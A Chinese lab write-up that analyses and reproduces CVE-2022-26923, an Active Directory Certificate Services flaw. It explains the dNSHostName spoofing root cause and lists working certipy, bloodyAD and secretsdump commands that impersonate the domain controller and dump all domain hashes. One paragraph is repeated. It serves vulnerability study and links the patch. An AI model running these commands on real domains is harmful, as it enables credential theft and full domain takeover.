天天看點

Windows域提權漏洞CVE-2022-26923分析與複現

漏洞概述

當Windows系統的Active Directory證書服務(CS)在域上運作時,由于機器賬号中的dNSHostName屬性不具有唯一性,域中普通使用者可以将其更改為高權限的域控機器賬号屬性,然後從Active Directory證書服務中擷取域控機器賬戶的證書,導緻域中普通使用者權限提升為域管理者權限。這一漏洞最早由安全研究員Oliver Lyak發現并公開分析過程和POC,微軟在2022年5月的安全更新中對其進行了修補。

影響範圍

影響範圍較廣,包括Win8.1、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022等版本,詳細版本号可以參考微軟官方的公告(參考連結)。

複現環境

作業系統:Win10、Win Server 2016、Kali-linux-2022.1。

分析工具:ADExplorer、Certipy、bloodyAD、impacket、PKINITtools。

分析過程

關于這個漏洞的分析和複現文章網上已經很多了,但是筆者在分析和複現這個漏洞時遇到的一些“坑”大多并未提及。是以,今天主要分享遇到的問題和解決方法。

首先設定Win Server 2016的IP位址為固定IP,然後設定其DNS伺服器位址。測試時域控伺服器的計算機名為dc,IP為192.168.220.160,網關為192.168.220.1

Windows域提權漏洞CVE-2022-26923分析與複現

接下來是安裝域控環境。在Win Server 2016安裝域控環境比較簡單,安裝時,使用超級管理者Administrator登入,然後在服務管理器的儀表盤界面選擇添加角色和功能,在彈出的向導中按照預設選項,直接“下一步”即可,注意在伺服器角色界面中勾選“Active Directory域服務”即可,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

域服務安裝完成後,選擇“将此伺服器提升為域控制器”,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

然後選擇“添加新林”指定根域名,筆者測試時設定的是:fenghuotai.local,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

其他的選項按照預設設定就可以了,另外,安裝過程中會自動安裝DNS伺服器,安裝成功後需要重新開機計算機。

最後是安裝域證書服務。還是在服務管理器的儀表盤界面選擇添加角色和功能,在彈出的向導中按照預設選項,直接“下一步”即可,注意在伺服器角色界面中勾選“Active Directory證書服務”即可,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

然後在選擇角色服務的步驟中,需要額外再選擇“證書頒發機構Web注冊”,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

域證書服務安裝成功後,需要再配置域證書服務,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

在配置域證書服務中,需要選擇“證書頒發機構”和“證書頒發機構Web注冊”,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

最後再選擇“企業證書”(如果不是域成員,無法選擇該選項,但預設賬号Administrator可以),如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

其他選項按照預設設定即可。

域控服務和域證書服務安裝成功後,在服務管理器的儀表盤的工具菜單中選擇“Active Directory管理中心”,然後在Users分組下建立一個使用者賬号,輸入密碼和選擇“密碼永不過期”,模拟加入域環境的普通使用者賬号。分析時使用的普通使用者賬号是testcve,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

域普通使用者賬号建立好後,再選擇另外一台計算機,測試時使用的是64位的 Win10系統,計算機名為testmachine,加入剛建立的域fenghuotai.local,然後使用剛建立的域普通使用者賬号testcve登入(加入域的方法請自行搜尋,此步驟無特殊設定)。到此,測試環境就搭建好了。

以域普通使用者賬号testcve登入Win10計算機後,使用ADExplorer工具分析該提權漏洞産生的原因。

ADExplorer工具需要先登入,分析時使用普通域使用者賬号testcve登入fenghuotai.local域,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

登入成功後,展開左邊的樹形控件“DC=fenghuotai,DC=local”,然後再展開“CN=Computers”和“CN=Users”,可以分别看到剛才新加入域的名為CN=TESTMACHINE的win10計算機機器賬号和普通域使用者賬号CN=testcve,這兩個賬号均包含了很多屬性值,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

每個屬性的具體含義可以參考微軟官方的幫助文檔,此次分析隻關注該漏洞相關的屬性。預設情況下,域使用者賬号可以申請User證書,域計算機機器賬号可以申請Machine證書,兩個證書都允許客戶端身份驗證。

展開Computers分組,選中剛才加入域的計算機CN=TESTMACHINE,其中一項屬性dNSHostName的内容為testmachine.fenghuotai.local,testmachine就是新加入域的Win10計算機的計算機名,這個屬性是向域證書服務申請機器賬号證書時用于辨別指定計算機機器賬号的,也就是說dNSHostName的内容和機器證書是綁定的,不同機器賬号的dNSHostName内容,就會得到不同的證書。另外屬性sAMAccountName的内容為TESTMACHINE$,這個屬性作為計算機機器賬号名,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

那麼可以将dNSHostName的内容改為域控伺服器的内容嗎?如果可以的話,豈不是就僞造成域控伺服器的機器賬号了嗎?嘗試将其内容改為dc.fenghuotai.local,卻會得到一個錯誤,更改失敗,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

為什麼會出現這個錯誤?因為dNSHostName屬性和另外一個servicePrincipalName屬性是相關聯的,更改dNSHostName屬性後,域控伺服器将自動更新servicePrincipalName屬性的值。這樣就導緻和原域控伺服器機器賬号的servicePrincipalName屬性沖突了。TESTMACHINE$機器賬号屬性servicePrincipalName中的内容,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

但是如果删除了其servicePrincipalName屬性中的兩項内容RestrictedKrbHost/testmachine.fenghuotai.local和HOST/testmachine.fenghuotai.local,更改dNSHostName屬性的内容為dc.fenghuotai.local,不會導緻沖突,更改将會成功。

屬性servicePrincipalName中删除了兩項後的内容,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

但是如果删除了其servicePrincipalName屬性中的兩項内容RestrictedKrbHost/testmachine.fenghuotai.local和HOST/testmachine.fenghuotai.local,更改dNSHostName屬性的内容為dc.fenghuotai.local,不會導緻沖突,更改将會成功。

屬性servicePrincipalName中删除了兩項後的内容,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

dNSHostName屬性的内容成功更改為域控伺服器的内容dc.fenghuotai.local,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

到此,普通機器賬号TESTMACHINE$成功僞造成了域控機器賬号dc$,然後從Active Directory證書服務中申請到域控機器賬戶的證書,導緻域中普通使用者權限提升為域管理者權限。

利用場景

根據該漏洞的分析結果,想要成功利用該漏洞,需要滿足如下幾個條件:

1、域控伺服器系統版本

Win8.1、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022等版本,詳細版本号可以參考微軟官方的公告(參考連結)。

2、域内普通使用者賬号權限

需要擷取域内至少一個普通使用者賬号權限,并且需要該賬戶對dNSHostName等屬性具有相應的權限。預設情況,普通使用者賬号具有該權限。

3、企業證書服務

域内部署有企業證書服務,并允許被控制的計算機賬戶申請計算機身份驗證證書。

複現過程

環境搭建過程不再贅述,參照分析過程即可,攻擊機選擇Kali-linux-2022.1,需要安裝額外的工具Certipy、bloodyAD、impacket、PKINITtools,工具安裝下載下傳連結在參考連結中,按照官方安裝說明安裝即可。

首先需要擷取域控伺服器,域證書伺服器的一些基本資訊。在受控的主機上執行powershell指令Get-ChildItem Cert:\LocalMachine\Root\,得到域證書伺服器位址fenghuotai-DC-CA,域控伺服器位址fenghuotai.local,域控計算機名為dc,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

設定攻擊機的DNS伺服器位址為域控DNS伺服器位址,或者在本地hosts檔案中設定域控和與證書伺服器域名的ip,不然會導緻無法解析域名等錯誤。設定kali的hosts檔案内容,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

複現環境準備好後,先使用掌握的域内普通使用者賬号申請證書,并驗證登入,測試複現環境是否異常。申請證書指令certipy req 'fenghuotai.local/testcve:[email protected]' -ca fenghuotai-DC-CA -template User

Windows域提權漏洞CVE-2022-26923分析與複現

可能會遇到NETBIOS逾時現象,重新執行一次申請證書指令即可。

申請使用者賬号證書成功後,執行指令certipy auth -pfx testcve.pfx驗證該證書,擷取其NT hash,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

成功擷取到了NT hash,說明測試環境沒問題。如果遇到錯誤(特别是還原域控虛拟機後),說明域控有些服務沒正确啟動。需要重新開機域控伺服器,待儀表闆上的服務項啟動後,或者手動啟動後,再重新開機Kerberos Key Distribution Center(kdc)服務。不知道實戰中是否會遇到該錯誤,如果遇到了,後面的利用就無法進行了。

使用指令python bloodyAD.py -d fenghuotai.local -u testcve -p '1qaz3edc.' --host 192.168.220.160 addComputer pwnmachine 'CVEPassword1234*',建立一台名為pwnmachine,密碼為CVEPassword1234*的機器賬号,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

然後使用指令python bloodyAD.py -d  fenghuotai.local -u testcve -p '1qaz3edc.'  --host 192.168.220.160 setAttribute 'CN=pwnmachine,CN=Computers,DC=fenghuotai,DC=local' dNSHostName '["dc.fenghuotai.local"]',設定其dNSHostName 屬性為域控伺服器屬性,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

設定成功後使用指令certipy req 'fenghuotai.local/pwnmachine$:CVEPassword1234*@192.168.220.160' -template Machine -dc-ip 192.168.220.160 -ca fenghuotai-DC-CA,申請建立的機器賬号pwnmachine$的證書,其實申請到的是域控dc$的證書,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

擷取到域控的機器賬号證書後,使用指令certipy auth -pfx ./dc.pfx -dc-ip 192.168.220.160進行登入驗證,擷取其NT hash,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

然後使用impacket工具examples目錄下的secretsdump.py腳本,指令為python3 secretsdump.py 'fenghuotai.local/[email protected]' -hashes :d396bce5a7bf19ed7bfa58b8f923357a,擷取域内所有賬号hash,如下圖所示:

Windows域提權漏洞CVE-2022-26923分析與複現

當然,還可以使用PKINITtools工具,擷取域控最高權限shell,這部分就交給讀者自己完成。

更新檔連結

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923      

參考連結

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923
https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
https://mp.weixin.qq.com/s?src=11&timestamp=1654133733&ver=3835&signature=VTP8C0A7M8aZFsS74thaDmY9QflFz22HsaJfXR70bOIYyyx6bL*Obj77ZSVyJ*zfdw2AiA4W-VfZmcYvn0c-Zxh2prrCryHB4FW23wBLUotQFbvPq8K1Fwfl6iMsQLvR&new=1
https://github.com/ly4k/Certipy
https://github.com/CravateRouge/bloodyAD
https://github.com/SecureAuthCorp/impacket
https://github.com/dirkjanm/PKINITtools      

繼續閱讀